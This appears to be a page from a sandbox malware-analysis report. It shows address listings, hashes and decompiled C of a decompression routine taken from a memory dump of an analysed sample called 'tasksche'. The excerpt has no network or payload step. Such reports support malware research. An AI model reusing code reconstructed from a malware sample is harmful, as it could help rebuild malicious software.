0x00000000
0x00418257
0x00418258
0x0041825b
0x0041825e
0x00000000
0x00000000
0x00000000
0x00418260
0x00418262
0x00000000
0x00418262
0x0041821b
0x0041821e
0x00418228
0x0041822d
0x00418230
0x00418235
0x00418238
0x00000000
0x00418238
0x00417eb0
0x00417eb5
0x00418ae5
0x00418aea
0x00418aea
0x00418aea
0x00000000
0x00418aea
0x00417ec1
0x004181ed
0x004181f6
0x00000000
0x004181f6
0x00417ec9
0x00417ed0
0x00417ee6
0x00417ee9
0x00000000
0x00000000
0x00417eef
0x00417ef2
0x00000000
0x00000000
0x00417ef8
0x00417efb
0x00417f06
0x00417f09
0x004180ce
0x004180d1
0x00000000
0x00000000
0x004180d9
0x004180de
0x004180e1
0x00000000
0x00000000
0x004180f0
0x004180f3
0x004180f6
0x004180f9
0x004180ff
0x00418101
0x004181ae
0x004181ae
0x004181b2
0x00000000
0x00000000
0x004181b8
0x004181be
0x004181c4
0x004181c7
0x004181cf
0x004181d5
0x004181db
0x004181df
0x004181e3
0x004181e3
0x00000000
0x004181e8
0x00418107
0x00418109
0x00000000
0x00000000
0x0041810f
0x00418115
0x0041811a
0x0041811d
0x00418122
0x00418125
0x00418128
0x00418179
0x0041817c
0x00000000
0x00000000
0x00418185
0x00418185
0x00418188
0x0041818b
0x00418191
0x00418196
0x0041819a
0x0041819e
0x004181a1
0x004181a4
0x004181a4
0x004181a4
0x004181a4
0x00000000
0x004181a9
0x0041812a
0x0041812d
0x00000000
0x00000000
0x00418133
0x00418136
0x00418136
0x00418139
0x0041813b
0x0041813f
0x00418144
0x0041814a
0x00418150
0x00418156
0x0041815c
0x00418162
0x00418165
0x00418168
0x0041816b
0x0041816e
0x00418171
0x00418171
0x00418171
0x00000000
0x00417f0f
0x00417f0f
0x00417f0f
0x00417f11
0x00417f14
0x00417f17
0x00417f17
0x00417f1b
0x00000000
0x00000000
0x00417f23
0x00417f28
0x00417f2b
0x00417f33
0x00417f37
0x00417f3a
0x00417f44
0x00417f44
0x00417f3c
0x00417f3c
0x00417f3c
0x00417f2d
0x00417f2d
0x00417f2d
0x00417f46
0x00417f49
0x00417f4d
0x00000000
0x00417f4f
0x00417f4f
0x00417f53
0x00000000
0x00000000
0x00417f5c
0x00417f62
0x00417f62
0x00417f65
0x00417f6a
0x00417f6c
0x00417f75
0x00417f7b
0x00417f7d
0x0041808f
0x0041808f
0x00418093
0x00418099
0x0041809f
0x004180a5
0x004180a8
0x004180b0
0x004180b6
0x004180bc
0x004180c0
0x004180c4
0x004180c4
0x004180c9
0x00000000
0x00418093
0x00417f83
0x00417f85
0x00000000
0x00000000
0x00417f8b
0x00417f91
0x00417f94
0x00417f97
0x00417f9b
0x00417f9e
0x00417fa1
0x00417fa4
0x00417ff2
0x00417ff5
0x0041801e
0x0041801e
0x00418021
0x00418023
0x00000000
0x00418029
0x00418029
0x00000000
0x00418029
0x00417ff7
0x00417ffa
0x00417ffa
0x00417ffd
0x00418000
0x00418006
0x0041800b
0x0041800f
0x00418013
0x00418016
0x00418019
0x00418019
0x00418019
0x00418019
0x00000000
0x00418000
0x00417ff5
0x00417fa6
0x00417fa9
0x00417fad
0x00417fad
0x00417fb0
0x00417fb2
0x00417fb4
0x00417fb8
0x00417fbd
0x00417fc3
0x00417fc9
0x00417fcf
0x00417fd5
0x00417fdb
0x00417fde
0x00417fe1
0x00417fe4
0x00417fe7
0x00417fea
0x00417fea
0x00417fea
0x00417fed
0x00417fed
0x00417fed
0x00000000
0x00417fa9
0x00417f4d
0x00000000
0x00417f17
0x00417efd
0x00417eff
0x00000000
0x00417eff
0x00417ed2
0x00417ed4
0x00000000
0x00417ed4
0x00417e5e
0x00417e60
0x00417e65
0x00417e6b
0x00417e71
0x00418afc
0x00418afc
0x00418afc
0x00417e77
0x00417e8b
0x00417e92
0x00418ad6
0x00000000
0x00418ad6
0x00000000
0x00417e92
0x00417e79
0x00417e85
0x00000000
0x00000000
0x00000000
0x00417e85
0x00417e58
0x00418af1
0x00000000
0x00418af3
0x00417dee
0x00417df5
0x00417dfc
0x00000000
0x00000000
0x00417e06
0x00417e13
0x00417e1a
0x00000000
0x00000000
0x00417e1a
0x00000000
0x00417d8d
0x00417d8d
0x00417d90
0x00417d92
0x00417d92
0x00417d9b
0x00417d9e
0x00417da7
0x00417dae
0x00417db2
0x00417db5
0x00417dba
0x00417dbd
0x00417dbd
0x00417dc0
0x00417dca
0x00417dcb
0x00417dcb
0x00417dce
0x00417dce
0x00417dbd
0x00417dd3
0x00417dd4
0x00000000
0x00417d92

APIs

_memset.LIBCMT ref: 00417DB5

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f2ddf0237e8c887b9397686041efde03e6b7465c6b8aca2acf299e0ee70c85ec
Instruction ID: ca8e397051957a2ab45e24d4035287d6273771f133136d8253d7927585564b75
Opcode Fuzzy Hash: f2ddf0237e8c887b9397686041efde03e6b7465c6b8aca2acf299e0ee70c85ec
Instruction Fuzzy Hash: 5692D5709087859FCB29CF34C4D06E9BBF1AF55308F18C5AED8968B342D738A985CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00414946 Relevance: 2.0, APIs: 1, Instructions: 478
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00414946(void* __ebx, intOrPtr __ecx, signed int _a4) {
				signed char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed char _v24;
				signed int* _v28;
				intOrPtr _v32;
				signed char _v36;
				signed int _v40;
				signed int _v44;
				signed char _v48;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t214;
				intOrPtr _t215;
				signed int _t216;
				signed int _t217;
				signed int _t219;
				unsigned int _t220;
				signed int _t223;
				signed int _t224;
				signed int _t226;
				unsigned int _t227;
				signed int _t230;
				signed int _t231;
				signed int _t236;
				unsigned int _t237;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int* _t249;
				signed int _t250;
				signed int _t257;
				unsigned int _t258;
				signed int _t261;
				signed int _t262;
				signed int* _t267;
				unsigned int _t268;
				signed int _t271;
				signed int _t272;
				signed int _t273;
				unsigned int _t274;
				signed int _t277;
				signed int _t278;
				signed int _t279;
				unsigned int _t280;
				signed int _t287;
				unsigned int _t288;
				signed int _t291;
				signed int _t292;
				signed int _t294;
				signed int _t295;
				signed int _t297;
				void* _t302;
				void* _t303;
				signed int* _t306;
				signed int* _t307;
				signed int _t311;
				signed int _t312;
				signed int _t315;
				signed int _t316;
				intOrPtr* _t319;
				signed int _t320;
				signed int _t321;
				intOrPtr _t327;
				signed int* _t328;
				signed int _t331;
				void* _t333;
				signed int _t338;
				void* _t340;
				signed char _t344;
				void* _t347;
				intOrPtr* _t351;
				void* _t352;
				signed int _t355;
				signed int _t358;
				signed int _t363;
				unsigned int _t365;
				void* _t367;
				signed char _t370;
				void* _t373;
				signed int _t378;
				unsigned int _t380;
				void* _t382;
				void* _t384;
				signed int _t387;
				void* _t390;
				void* _t392;
				signed int _t395;
				void* _t398;
				signed int _t402;
				signed short _t403;
				intOrPtr* _t405;
				void* _t406;
				signed int _t409;
				signed int _t415;
				signed int _t416;
				signed int _t420;
				signed int _t421;
				signed int _t427;
				signed int _t429;
				signed int _t432;
				signed int _t433;
				intOrPtr* _t436;
				signed int _t441;
				intOrPtr* _t443;

				_t303 = __ebx;
				_t441 = _a4;
				_v32 = __ecx;
				if( *((char*)(_t441 + 0x2c)) != 0) {
					L3:
					_t214 =  *((intOrPtr*)(_t441 + 0x18));
					_t443 = _t441 + 4;
					__eflags =  *_t443 -  *((intOrPtr*)(_t441 + 0x24)) + _t214;
					if( *_t443 <=  *((intOrPtr*)(_t441 + 0x24)) + _t214) {
						 *(_t441 + 0x4ad8) =  *(_t441 + 0x4ad8) & 0x00000000;
						_t17 = _t214 - 1; // -1
						_t215 =  *((intOrPtr*)(_t441 + 0x20)) + _t17;
						_t327 =  *((intOrPtr*)(_t441 + 0x4acc)) - 0x10;
						__eflags = _t215 - _t327;
						_v16 = _t215;
						_v20 = _t327;
						_v12 = _t215;
						if(_t215 >= _t327) {
							_v12 = _t327;
						}
						_push(_t303);
						while(1) {
							_t214 =  *_t443;
							__eflags = _t214 - _v12;
							if(_t214 < _v12) {
								goto L15;
							}
							L9:
							__eflags = _t214 - _v16;
							if(__eflags > 0) {
								L97:
								goto L98;
							}
							if(__eflags != 0) {
								L12:
								__eflags = _t214 - _v20;
								if(_t214 < _v20) {
									L14:
									__eflags = _t214 -  *((intOrPtr*)(_t441 + 0x4acc));
									if(_t214 >=  *((intOrPtr*)(_t441 + 0x4acc))) {
										L96:
										 *((char*)(_t441 + 0x4ad3)) = 1;
										goto L97;
									}
									goto L15;
								}
								__eflags =  *((char*)(_t441 + 0x4ad2));
								if( *((char*)(_t441 + 0x4ad2)) == 0) {
									goto L96;
								}
								goto L14;
							}
							__eflags =  *((intOrPtr*)(_t441 + 8)) -  *((intOrPtr*)(_t441 + 0x1c));
							if( *((intOrPtr*)(_t441 + 8)) >=  *((intOrPtr*)(_t441 + 0x1c))) {
								goto L97;
							}
							goto L12;
							L15:
							_t328 = _t441 + 0x4adc;
							_t216 =  *_t328;
							__eflags =  *(_t441 + 0x4ad8) - _t216 - 8;
							if(__eflags > 0) {
								_t295 = _t216 + _t216;
								 *_t328 = _t295;
								_push(_t295 * 0xc);
								_t307 = _t441 + 0x4ad4;
								_push( *_t307);
								_t297 = E0041A594(_t307, _t441, _t443, __eflags);
								 *_t307 = _t297;
								__eflags = _t297;
								if(_t297 == 0) {
									E004063CE(0x4335ac);
								}
							}
							_t217 =  *(_t441 + 0x4ad8);
							_t306 = _t217 * 0xc +  *(_t441 + 0x4ad4);
							_v28 = _t306;
							 *(_t441 + 0x4ad8) = _t217 + 1;
							_t219 = E0040978C(_t443);
							_t415 =  *(_t441 + 0xb4);
							_t220 = _t219 & 0x0000fffe;
							__eflags = _t220 -  *((intOrPtr*)(_t441 + 0x34 + _t415 * 4));
							if(_t220 >=  *((intOrPtr*)(_t441 + 0x34 + _t415 * 4))) {
								_t416 = _t415 + 1;
								_a4 = 0xf;
								__eflags = _t416 - 0xf;
								if(_t416 >= 0xf) {
									L26:
									_t331 =  *(_t443 + 4) + _a4;
									 *_t443 =  *_t443 + (_t331 >> 3);
									_t419 = _a4;
									 *(_t443 + 4) = _t331 & 0x00000007;
									_t333 = 0x10;
									_t223 = (_t220 -  *((intOrPtr*)(_t441 + 0x30 + _a4 * 4)) >> _t333 - _a4) +  *((intOrPtr*)(_t441 + 0x74 + _t419 * 4));
									__eflags = _t223 -  *((intOrPtr*)(_t441 + 0x30));
									if(_t223 >=  *((intOrPtr*)(_t441 + 0x30))) {
										_t223 = 0;
										__eflags = 0;
									}
									_t224 =  *(_t441 + 0xcb8 + _t223 * 2) & 0x0000ffff;
									goto L29;
								}
								_t405 = _t441 + 0x34 + _t416 * 4;
								while(1) {
									__eflags = _t220 -  *_t405;
									if(_t220 <  *_t405) {
										break;
									}
									_t416 = _t416 + 1;
									_t405 = _t405 + 4;
									__eflags = _t416 - 0xf;
									if(_t416 < 0xf) {
										continue;
									}
									goto L26;
								}
								_a4 = _t416;
								goto L26;
							} else {
								_t406 = 0x10;
								_t294 = _t220 >> _t406 - _t415;
								_t409 = ( *(_t294 + _t441 + 0xb8) & 0x000000ff) +  *(_t443 + 4);
								 *_t443 =  *_t443 + (_t409 >> 3);
								 *(_t443 + 4) = _t409 & 0x00000007;
								_t224 =  *(_t441 + 0x4b8 + _t294 * 2) & 0x0000ffff;
								L29:
								__eflags = _t224 - 0x100;
								if(_t224 >= 0x100) {
									__eflags = _t224 - 0x106;
									if(_t224 < 0x106) {
										__eflags = _t224 - 0x100;
										if(_t224 != 0x100) {
											__eflags = _t224 - 0x101;
											if(_t224 != 0x101) {
												 *_t306 = 3;
												_t306[2] = _t224 + 0xfffffefe;
												_t226 = E0040978C(_t443);
												_t420 =  *(_t441 + 0x2d78);
												_t227 = _t226 & 0x0000fffe;
												__eflags = _t227 -  *((intOrPtr*)(_t441 + 0x2cf8 + _t420 * 4));
												if(_t227 >=  *((intOrPtr*)(_t441 + 0x2cf8 + _t420 * 4))) {
													_t421 = _t420 + 1;
													_a4 = 0xf;
													__eflags = _t421 - 0xf;
													if(_t421 >= 0xf) {
														L88:
														_t338 =  *(_t443 + 4) + _a4;
														 *_t443 =  *_t443 + (_t338 >> 3);
														_t424 = _a4;
														 *(_t443 + 4) = _t338 & 0x00000007;
														_t340 = 0x10;
														_t230 = (_t227 -  *((intOrPtr*)(_t441 + 0x2cf4 + _a4 * 4)) >> _t340 - _a4) +  *((intOrPtr*)(_t441 + 0x2d38 + _t424 * 4));
														__eflags = _t230 -  *((intOrPtr*)(_t441 + 0x2cf4));
														if(_t230 >=  *((intOrPtr*)(_t441 + 0x2cf4))) {
															_t230 = 0;
															__eflags = 0;
														}
														_t231 =  *(_t441 + 0x397c + _t230 * 2) & 0x0000ffff;
														L91:
														__eflags = _t231 - 8;
														if(_t231 >= 8) {
															_t344 = (_t231 >> 2) - 1;
															_v8 = _t344;
															_t236 = ((_t231 & 0x00000003 | 0x00000004) << _t344) + 2;
															_a4 = _t236;
															__eflags = _t344;
															if(_t344 > 0) {
																_t237 = E0040978C(_t443);
																_t347 = 0x10;
																_a4 = _a4 + (_t237 >> _t347 - _v8);
																_t240 =  *(_t443 + 4) + _v8;
																 *_t443 =  *_t443 + (_t240 >> 3);
																_t241 = _t240 & 0x00000007;
																__eflags = _t241;
																 *(_t443 + 4) = _t241;
																_t236 = _a4;
															}
														} else {
															_t236 = _t231 + 2;
														}
														L95:
														_t306[1] = _t236;
														while(1) {
															_t214 =  *_t443;
															__eflags = _t214 - _v12;
															if(_t214 < _v12) {
																goto L15;
															}
															goto L9;
														}
													}
													_t351 = _t441 + 0x2cf8 + _t421 * 4;
													while(1) {
														__eflags = _t227 -  *_t351;
														if(_t227 <  *_t351) {
															break;
														}
														_t421 = _t421 + 1;
														_t351 = _t351 + 4;
														__eflags = _t421 - 0xf;
														if(_t421 < 0xf) {
															continue;
														}
														goto L88;
													}
													_a4 = _t421;
													goto L88;
												}
												_t352 = 0x10;
												_t242 = _t227 >> _t352 - _t420;
												_t355 = ( *(_t242 + _t441 + 0x2d7c) & 0x000000ff) +  *(_t443 + 4);
												 *_t443 =  *_t443 + (_t355 >> 3);
												 *(_t443 + 4) = _t355 & 0x00000007;
												_t231 =  *(_t441 + 0x317c + _t242 * 2) & 0x0000ffff;
												goto L91;
											}
											 *_t306 = 2;
											while(1) {
												_t214 =  *_t443;
												__eflags = _t214 - _v12;
												if(_t214 < _v12) {
													goto L15;
												}
												goto L9;
											}
										}
										_push( &_v48);
										E00414290(_v32, _t443);
										_t306[1] = _v48 & 0x000000ff;
										_t306[2] = _v44;
										_t358 = 4;
										 *_t306 = _t358;
										_t427 =  *(_t441 + 0x4ad8);
										_t249 = _t427 * 0xc +  *(_t441 + 0x4ad4);
										 *(_t441 + 0x4ad8) = _t427 + 1;
										 *_t249 = _t358;
										_t249[1] = _v36 & 0x000000ff;
										_t249[2] = _v40;
										while(1) {
											_t214 =  *_t443;
											__eflags = _t214 - _v12;
											if(_t214 < _v12) {
												goto L15;
											}
											goto L9;
										}
									}
									_t250 = _t224 + 0xfffffefa;
									__eflags = _t250 - 8;
									if(_t250 >= 8) {
										_t311 = (_t250 >> 2) - 1;
										_v8 = ((_t250 & 0x00000003 | 0x00000004) << _t311) + 2;
										__eflags = _t311;
										if(_t311 > 0) {
											_t288 = E0040978C(_t443);
											_t398 = 0x10;
											_v8 = _v8 + (_t288 >> _t398 - _t311);
											_t291 =  *(_t443 + 4) + _t311;
											 *_t443 =  *_t443 + (_t291 >> 3);
											_t292 = _t291 & 0x00000007;
											__eflags = _t292;
											 *(_t443 + 4) = _t292;
										}
									} else {
										_v8 = _t250 + 2;
									}
									_v24 = _v8;
									_t257 = E0040978C(_t443);
									_t429 =  *(_t441 + 0xfa0);
									_t258 = _t257 & 0x0000fffe;
									__eflags = _t258 -  *((intOrPtr*)(_t441 + 0xf20 + _t429 * 4));
									if(_t258 >=  *((intOrPtr*)(_t441 + 0xf20 + _t429 * 4))) {
										_t312 = 0xf;
										_t363 = _t429 + 1;
										__eflags = _t363 - _t312;
										if(_t363 >= _t312) {
											L48:
											_t365 =  *(_t443 + 4) + _t312;
											 *(_t443 + 4) = _t365 & 0x00000007;
											 *_t443 =  *_t443 + (_t365 >> 3);
											_t367 = 0x10;
											_t261 = (_t258 -  *((intOrPtr*)(_t441 + 0xf1c + _t312 * 4)) >> _t367 - _t312) +  *((intOrPtr*)(_t441 + 0xf60 + _t312 * 4));
											__eflags = _t261 -  *((intOrPtr*)(_t441 + 0xf1c));
											if(_t261 >=  *((intOrPtr*)(_t441 + 0xf1c))) {
												_t261 = 0;
												__eflags = 0;
											}
											_t262 =  *(_t441 + 0x1ba4 + _t261 * 2) & 0x0000ffff;
											goto L51;
										}
										_t436 = _t441 + 0xf20 + _t363 * 4;
										while(1) {
											__eflags = _t258 -  *_t436;
											if(_t258 <  *_t436) {
												break;
											}
											_t363 = _t363 + 1;
											_t436 = _t436 + 4;
											__eflags = _t363 - 0xf;
											if(_t363 < 0xf) {
												continue;
											}
											goto L48;
										}
										_t312 = _t363;
										goto L48;
									} else {
										_t392 = 0x10;
										_t287 = _t258 >> _t392 - _t429;
										_t395 = ( *(_t287 + _t441 + 0xfa4) & 0x000000ff) +  *(_t443 + 4);
										 *_t443 =  *_t443 + (_t395 >> 3);
										 *(_t443 + 4) = _t395 & 0x00000007;
										_t262 =  *(_t441 + 0x13a4 + _t287 * 2) & 0x0000ffff;
										L51:
										__eflags = _t262 - 4;
										if(_t262 >= 4) {
											_t315 = (_t262 >> 1) - 1;
											_a4 = ((_t262 & 0x00000001 | 0x00000002) << _t315) + 1;
											__eflags = _t315;
											if(_t315 <= 0) {
												L70:
												_t432 = _a4;
												__eflags = _t432 - 0x100;
												if(_t432 <= 0x100) {
													_t370 = _v24;
												} else {
													_t370 = _v8 + 1;
													__eflags = _t432 - 0x2000;
													if(_t432 > 0x2000) {
														_t370 = _t370 + 1;
														__eflags = _t432 - 0x40000;
														if(_t432 > 0x40000) {
															_t370 = _t370 + 1;
														}
													}
												}
												_t267 = _v28;
												 *_t267 = 1;
												_t267[1] = _t370;
												_t267[2] = _t432;
												while(1) {
													_t214 =  *_t443;
													__eflags = _t214 - _v12;
													if(_t214 < _v12) {
														goto L15;
													}
													goto L9;
												}
											}
											__eflags = _t315 - 4;
											if(__eflags < 0) {
												_t268 = E00412AEB(_t443);
												_t373 = 0x20;
												_a4 = _a4 + (_t268 >> _t373 - _t315);
												_t271 =  *(_t443 + 4) + _t315;
												 *_t443 =  *_t443 + (_t271 >> 3);
												_t272 = _t271 & 0x00000007;
												__eflags = _t272;
												 *(_t443 + 4) = _t272;
												goto L70;
											}
											if(__eflags > 0) {
												_t280 = E00412AEB(_t443);
												_t390 = 0x24;
												_a4 = _a4 + (_t280 >> _t390 - _t315 << 4);
												_t320 =  *(_t443 + 4) + _t315 - 4;
												 *_t443 =  *_t443 + (_t320 >> 3);
												_t321 = _t320 & 0x00000007;
												__eflags = _t321;
												 *(_t443 + 4) = _t321;
											}
											_t273 = E0040978C(_t443);
											_t316 =  *(_t441 + 0x1e8c);
											_t274 = _t273 & 0x0000fffe;
											__eflags = _t274 -  *((intOrPtr*)(_t441 + 0x1e0c + _t316 * 4));
											if(_t274 >=  *((intOrPtr*)(_t441 + 0x1e0c + _t316 * 4))) {
												_t433 = 0xf;
												_t378 = _t316 + 1;
												__eflags = _t378 - _t433;
												if(_t378 >= _t433) {
													L65:
													_t380 =  *(_t443 + 4) + _t433;
													 *(_t443 + 4) = _t380 & 0x00000007;
													 *_t443 =  *_t443 + (_t380 >> 3);
													_t382 = 0x10;
													_t277 = (_t274 -  *((intOrPtr*)(_t441 + 0x1e08 + _t433 * 4)) >> _t382 - _t433) +  *((intOrPtr*)(_t441 + 0x1e4c + _t433 * 4));
													__eflags = _t277 -  *((intOrPtr*)(_t441 + 0x1e08));
													if(_t277 >=  *((intOrPtr*)(_t441 + 0x1e08))) {
														_t277 = 0;
														__eflags = 0;
													}
													_t278 =  *(_t441 + 0x2a90 + _t277 * 2) & 0x0000ffff;
													goto L68;
												}
												_t319 = _t441 + 0x1e0c + _t378 * 4;
												while(1) {
													__eflags = _t274 -  *_t319;
													if(_t274 <  *_t319) {
														break;
													}
													_t378 = _t378 + 1;
													_t319 = _t319 + 4;
													__eflags = _t378 - 0xf;
													if(_t378 < 0xf) {
														continue;
													}
													goto L65;
												}
												_t433 = _t378;
												goto L65;
											} else {
												_t384 = 0x10;
												_t279 = _t274 >> _t384 - _t316;
												_t387 = ( *(_t279 + _t441 + 0x1e90) & 0x000000ff) +  *(_t443 + 4);
												 *_t443 =  *_t443 + (_t387 >> 3);
												 *(_t443 + 4) = _t387 & 0x00000007;
												_t278 =  *(_t441 + 0x2290 + _t279 * 2) & 0x0000ffff;
												L68:
												_a4 = _a4 + _t278;
												goto L70;
											}
										}
										_a4 = _t262 + 1;
										goto L70;
									}
								}
								__eflags =  *(_t441 + 0x4ad8) - 1;
								if( *(_t441 + 0x4ad8) <= 1) {
									L34:
									 *_t306 =  *_t306 & 0x00000000;
									_t306[2] = _t224;
									_t236 = 0;
									goto L95;
								}
								__eflags =  *(_t306 - 0xc);
								if( *(_t306 - 0xc) != 0) {
									goto L34;
								}
								_t402 =  *(_t306 - 8) & 0x0000ffff;
								__eflags = _t402 - 3;
								if(_t402 >= 3) {
									goto L34;
								}
								_t403 = _t402 + 1;
								 *(_t306 - 8) = _t403;
								 *((_t403 & 0x0000ffff) + _t306 - 4) = _t224;
								 *(_t441 + 0x4ad8) =  *(_t441 + 0x4ad8) - 1;
								continue;
							}
						}
					} else {
						 *((char*)(_t441 + 0x4ad0)) = 1;
						L98:
						return _t214;
					}
				} else {
					 *((char*)(_t441 + 0x2c)) = 1;
					_t302 = E0041462B(__ebx, __ecx, _t441 + 4, _t441 + 0x18, _t441 + 0x30);
					if(_t302 != 0) {
						goto L3;
					} else {
						 *((char*)(_t441 + 0x4ad0)) = 1;
						return _t302;
					}
				}
			}

0x00414946
0x0041494d
0x00414954
0x00414957
0x0041497e
0x0041497e
0x00414985
0x0041498a
0x0041498c
0x0041499d
0x004149a4
0x004149a4
0x004149ae
0x004149b1
0x004149b3
0x004149b6
0x004149b9
0x004149bc
0x004149be
0x004149be
0x004149c1
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x004149c9
0x004149c9
0x004149cc
0x00414f03
0x00000000
0x00414f03
0x004149d2
0x004149e0
0x004149e0
0x004149e3
0x004149f2
0x004149f2
0x004149f8
0x00414efc
0x00414efc
0x00000000
0x00414efc
0x00000000
0x004149f8
0x004149e5
0x004149ec
0x00000000
0x00000000
0x00000000
0x004149ec
0x004149d7
0x004149da
0x00000000
0x00000000
0x00000000
0x004149fe
0x004149fe
0x00414a04
0x00414a09
0x00414a0f
0x00414a11
0x00414a13
0x00414a18
0x00414a19
0x00414a1f
0x00414a21
0x00414a28
0x00414a2a
0x00414a2c
0x00414a33
0x00414a33
0x00414a2c
0x00414a38
0x00414a43
0x00414a4c
0x00414a4f
0x00414a55
0x00414a5a
0x00414a60
0x00414a65
0x00414a69
0x00414a94
0x00414a95
0x00414a9c
0x00414a9f
0x00414ab7
0x00414aba
0x00414ac4
0x00414ac6
0x00414acc
0x00414ad3
0x00414ad8
0x00414adc
0x00414adf
0x00414ae1
0x00414ae1
0x00414ae1
0x00414ae3
0x00000000
0x00414ae3
0x00414aa1
0x00414aa5
0x00414aa5
0x00414aa7
0x00000000
0x00000000
0x00414aa9
0x00414aaa
0x00414aad
0x00414ab0
0x00000000
0x00000000
0x00000000
0x00414ab2
0x00414ab4
0x00000000
0x00414a6b
0x00414a6d
0x00414a70
0x00414a7a
0x00414a82
0x00414a87
0x00414a8a
0x00414aeb
0x00414af0
0x00414af2
0x00414b31
0x00414b36
0x00414d8d
0x00414d8f
0x00414de0
0x00414de5
0x00414df9
0x00414dff
0x00414e02
0x00414e07
0x00414e0d
0x00414e12
0x00414e19
0x00414e44
0x00414e45
0x00414e4c
0x00414e4f
0x00414e6a
0x00414e6d
0x00414e77
0x00414e79
0x00414e7f
0x00414e89
0x00414e8e
0x00414e95
0x00414e9b
0x00414e9d
0x00414e9d
0x00414e9d
0x00414e9f
0x00414ea7
0x00414ea7
0x00414eaa
0x00414eb9
0x00414ebf
0x00414ec3
0x00414ec4
0x00414ec7
0x00414ec9
0x00414ecd
0x00414ed4
0x00414eda
0x00414ee0
0x00414ee8
0x00414eea
0x00414eea
0x00414eed
0x00414ef0
0x00414ef0
0x00414eac
0x00414eac
0x00414eac
0x00414ef3
0x00414ef3
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414e51
0x00414e58
0x00414e58
0x00414e5a
0x00000000
0x00000000
0x00414e5c
0x00414e5d
0x00414e60
0x00414e63
0x00000000
0x00000000
0x00000000
0x00414e65
0x00414e67
0x00000000
0x00414e67
0x00414e1d
0x00414e20
0x00414e2a
0x00414e32
0x00414e37
0x00414e3a
0x00000000
0x00414e3a
0x00414de7
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414d97
0x00414d99
0x00414da3
0x00414daa
0x00414daf
0x00414db0
0x00414db2
0x00414dbd
0x00414dc4
0x00414dca
0x00414dd1
0x00414dd8
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414b3c
0x00414b41
0x00414b44
0x00414b56
0x00414b60
0x00414b63
0x00414b65
0x00414b69
0x00414b70
0x00414b75
0x00414b7b
0x00414b82
0x00414b84
0x00414b84
0x00414b87
0x00414b87
0x00414b46
0x00414b49
0x00414b49
0x00414b8f
0x00414b92
0x00414b97
0x00414b9d
0x00414ba2
0x00414ba9
0x00414bd6
0x00414bd7
0x00414bda
0x00414bdc
0x00414bf6
0x00414bf9
0x00414c00
0x00414c06
0x00414c11
0x00414c16
0x00414c1d
0x00414c23
0x00414c25
0x00414c25
0x00414c25
0x00414c27
0x00000000
0x00414c27
0x00414bde
0x00414be5
0x00414be5
0x00414be7
0x00000000
0x00000000
0x00414be9
0x00414bea
0x00414bed
0x00414bf0
0x00000000
0x00000000
0x00000000
0x00414bf2
0x00414bf4
0x00000000
0x00414bab
0x00414bad
0x00414bb0
0x00414bba
0x00414bc2
0x00414bc7
0x00414bca
0x00414c2f
0x00414c2f
0x00414c32
0x00414c44
0x00414c4d
0x00414c50
0x00414c52
0x00414d52
0x00414d52
0x00414d55
0x00414d5b
0x00414d75
0x00414d5d
0x00414d60
0x00414d61
0x00414d67
0x00414d69
0x00414d6a
0x00414d70
0x00414d72
0x00414d72
0x00414d70
0x00414d67
0x00414d78
0x00414d7b
0x00414d81
0x00414d85
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414c58
0x00414c5b
0x00414d31
0x00414d38
0x00414d3d
0x00414d43
0x00414d4a
0x00414d4c
0x00414d4c
0x00414d4f
0x00000000
0x00414d4f
0x00414c61
0x00414c65
0x00414c6c
0x00414c74
0x00414c7a
0x00414c83
0x00414c85
0x00414c85
0x00414c88
0x00414c88
0x00414c8d
0x00414c92
0x00414c98
0x00414c9d
0x00414ca4
0x00414cd1
0x00414cd2
0x00414cd5
0x00414cd7
0x00414cf1
0x00414cf4
0x00414cfb
0x00414d01
0x00414d0c
0x00414d11
0x00414d18
0x00414d1e
0x00414d20
0x00414d20
0x00414d20
0x00414d22
0x00000000
0x00414d22
0x00414cd9
0x00414ce0
0x00414ce0
0x00414ce2
0x00000000
0x00000000
0x00414ce4
0x00414ce5
0x00414ce8
0x00414ceb
0x00000000
0x00000000
0x00000000
0x00414ced
0x00414cef
0x00000000
0x00414ca6
0x00414ca8
0x00414cab
0x00414cb5
0x00414cbd
0x00414cc2
0x00414cc5
0x00414d2a
0x00414d2a
0x00000000
0x00414d2a
0x00414ca4
0x00414c35
0x00000000
0x00414c35
0x00414ba9
0x00414af4
0x00414afb
0x00414b24
0x00414b24
0x00414b27
0x00414b2a
0x00000000
0x00414b2a
0x00414afd
0x00414b01
0x00000000
0x00000000
0x00414b03
0x00414b07
0x00414b0b
0x00000000
0x00000000
0x00414b0d
0x00414b0e
0x00414b15
0x00414b19
0x00000000
0x00414b19
0x00414a69
0x0041498e
0x0041498e
0x00414f04
0x00000000
0x00414f04
0x00414959
0x00414965
0x00414969
0x00414970
0x00000000
0x00414972
0x00414972
0x00000000
0x00414972
0x00414970

APIs

_realloc.LIBCMT ref: 00414A21

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _realloc
String ID:
API String ID: 1750794848-0
Opcode ID: 19fe713726019c3973d82b14b26a9fc68d02c60563561d4d82d0835d1efeca77
